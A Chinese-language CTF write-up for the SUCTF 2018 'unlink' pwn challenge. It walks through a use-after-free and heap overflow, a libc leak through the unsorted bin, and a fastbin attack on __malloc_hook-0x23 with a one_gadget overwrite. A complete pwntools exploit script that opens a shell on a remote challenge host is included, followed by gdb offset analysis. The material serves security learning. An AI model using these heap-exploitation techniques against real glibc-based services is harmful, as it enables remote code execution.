[SUCTF 2018 招新赛]unlink
UAF + 堆溢出 + unsorted bin 泄露 libc + fastbin attack + 伪造 __malloc_hook - 0x23 chunk + 覆盖 __realloc_hook / __malloc_hook + malloc 触发 one_gadget getshell
unsigned __int64 touch()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 10 && (&buf)[i]; ++i )
{
if ( i == 10 )
{
puts("the node is full");
return __readfsqword(0x28u) ^ v3;
}
}
puts("please input the size : ");
if ( v1 >= 0 && v1 <= 512 )
{
__isoc99_scanf("%d", &v1);
(&buf)[i] = (char *)malloc(v1);
if ( (&buf)[i] )
puts("touch successfully");
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 take_note()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("which one do you want modify :");
__isoc99_scanf("%d", &v1);
if ( (&buf)[v1] != 0 && v1 >= 0 && v1 <= 9 )
{
puts("please input the content");
read(0, (&buf)[v1], 0x100u);
}
return __readfsqword(0x28u) ^ v2;
}
很明显的,存在 UAF 和堆溢出漏洞,那么我们可以先通过 unsorted bin 泄露 libc ,然后利用 fastbin attack 申请到 __malloc_hook 附近,接着写 __realloc_hook / __malloc_hook ,最后触发 malloc 拿到 shell
ubuntu@niuyingying:~/ctf/pwn$ one_gadget /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./service')
libc = ELF('/home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# io = process('./service')
io = remote("node4.anna.nssctf.cn",26018)
# io = gdb.debug('./service', gdbscript='set pagination off\nb *0x4009A3\nc')
def touch(size):
io.recvuntil(b"please chooice :\n")
io.sendline(b"1")
io.recvuntil(b"please input the size : \n")
io.sendline(str(size).encode())
def delete(i):
io.recvuntil(b"please chooice :\n")
io.sendline(b"2")
io.recvuntil(b"which node do you want to delete\n")
io.sendline(str(i).encode())
def show(i):
io.recvuntil(b"please chooice :\n")
io.sendline(b"3")
io.recvuntil(b"which node do you want to show\n")
io.sendline(str(i).encode())
io.recvuntil(b"the content is : \n")
def edit(i,data):
io.recvuntil(b"please chooice :\n")
io.sendline(b"4")
io.recvuntil(b"which one do you want modify :\n")
io.sendline(str(i).encode())
io.recvuntil(b"please input the content\n")
io.send(data)
# 0
touch(512)
# 1
touch(0x10)
delete(0)
# 0
touch(512)
show(0)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x4527a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
# 2
touch(0x10)
# 3
touch(0x60)
# 4
touch(0x60)
delete(4)
delete(3)
# fastbin[0x70]: chunk3 → malloc_hook - 0x23
payload = p64(0) * 3 + p64(0x71) + p64(malloc_hook - 0x23)
edit(2,payload)
# 3
touch(0x60)
# 4
touch(0x60)
payload = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 8)
edit(4,payload)
touch(0x10)
io.interactive()
这里可以补充一下, p64(malloc_hook - 0x23) 这是 fastbin attack 里非常经典的偏移,目标不是直接申请到 __malloc_hook ,而是前面一点即 fake_chunk = __malloc_hook - 0x23
那么 malloc 返回的用户指针就是
__malloc_hook - 0x23 + 0x10 = __malloc_hook - 0x13
所以我们就可以通过偏移写到
__realloc_hook = __malloc_hook - 0x8
__malloc_hook = __malloc_hook
即得到
__realloc_hook = one_gadget
__malloc_hook = realloc + 8
[!TIP]
注意常见 amd64 glibc 布局
python __memalign_hook = __malloc_hook - 0x10 __realloc_hook = __malloc_hook - 0x8 __malloc_hook = __malloc_hooki386 glibc 布局
python __memalign_hook = __malloc_hook - 0x8 __realloc_hook = __malloc_hook - 0x4
再通过 debug 来看一下 0x23 的意义,由于我申请的是 0x60 ,对应 chunk size 为 0x70,也就是说在 __malloc_hook - 0x23 这个位置附近,要求刚好能让 fake_chunk + 0x8 处的内容看起来像一个合法的 0x7? size
pwndbg> p/x &__malloc_hook
$1 = 0x76c2c23c4b10
pwndbg> x/40gx (char *)&__malloc_hook - 0x40
0x76c2c23c4ad0: 0x0000000000000000 0x0000000000000000
0x76c2c23c4ae0: 0x0000000000000000 0x0000000000000000
0x76c2c23c4af0: 0x000076c2c23c3260 0x0000000000000000
0x76c2c23c4b00 <__memalign_hook>: 0x000076c2c2085ea0 0x000076c2c2085a70
0x76c2c23c4b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x76c2c23c4b20: 0x0000000000000000 0x0000000000000000
0x76c2c23c4b30: 0x0000000000000000 0x0000000000000000
0x76c2c23c4b40: 0x0000000000000000 0x0000000000000000
0x76c2c23c4b50: 0x00000000100a9250 0x0000000000000000
0x76c2c23c4b60: 0x0000000000000000 0x0000000000000000
0x76c2c23c4b70: 0x0000000000000000 0x00000000100a9330
0x76c2c23c4b80: 0x0000000000000000 0x000076c2c23c4b78
0x76c2c23c4b90: 0x000076c2c23c4b78 0x000076c2c23c4b88
0x76c2c23c4ba0: 0x000076c2c23c4b88 0x000076c2c23c4b98
0x76c2c23c4bb0: 0x000076c2c23c4b98 0x000076c2c23c4ba8
0x76c2c23c4bc0: 0x000076c2c23c4ba8 0x000076c2c23c4bb8
0x76c2c23c4bd0: 0x000076c2c23c4bb8 0x000076c2c23c4bc8
0x76c2c23c4be0: 0x000076c2c23c4bc8 0x000076c2c23c4bd8
0x76c2c23c4bf0: 0x000076c2c23c4bd8 0x000076c2c23c4be8
0x76c2c23c4c00: 0x000076c2c23c4be8 0x000076c2c23c4bf8
size = fake_chunk + 0x8 = __malloc_hook - 0x1b 也就是 0x76c2c23c4b10 - 0x1b = 0x76c2c23c4af5 ,注意 gdb 里的这一行
0x76c2c23c4af0: 0x000076c2c23c3260 0x0000000000000000
因为是小端序,所以从 0x...4af5 开始读 8 字节就是 76 00 00 00 00 00 00 00 ,满足检查
接下来再教一下 one_gadget 求偏移的方法,这里以 realloc + 8 为例,gebug 看到 libc 基地址为 0x7770a9e00000 ,于是
pwndbg> b *0x7770a9e00000 + 0x4527a
Breakpoint 2 at 0x7770a9e4527a
pwndbg> c
Continuing.
pwndbg> x/10gx $rsp+0x30
0x7ffd68ca8498: 0x00007770a9e6f80a 0x0000000000000000
0x7ffd68ca84a8: 0x0000000000000000 0x00007ffd68ca84d0
0x7ffd68ca84b8: 0x000000000040092c 0x0000000500000010
0x7ffd68ca84c8: 0xc90e5dd4551df900 0x00007ffd68ca84f0
0x7ffd68ca84d8: 0x0000000000400be5 0x0000000168ca85d0
pwndbg> x/s 0x00007770a9e6f80a
0x7770a9e6f80a <puts+362>: "\203\370\377\017\205Z\377\377\377\353\210H\211\306\367E"
当 one_gadget 不满足时,可以尝试换 one_gadget 或者改 realloc + 偏移 ,比如
__malloc_hook = realloc
__malloc_hook = realloc + 8
__malloc_hook = realloc + 12
__malloc_hook = realloc + 0x10
__malloc_hook = realloc + 0x14
__malloc_hook = realloc + 0x16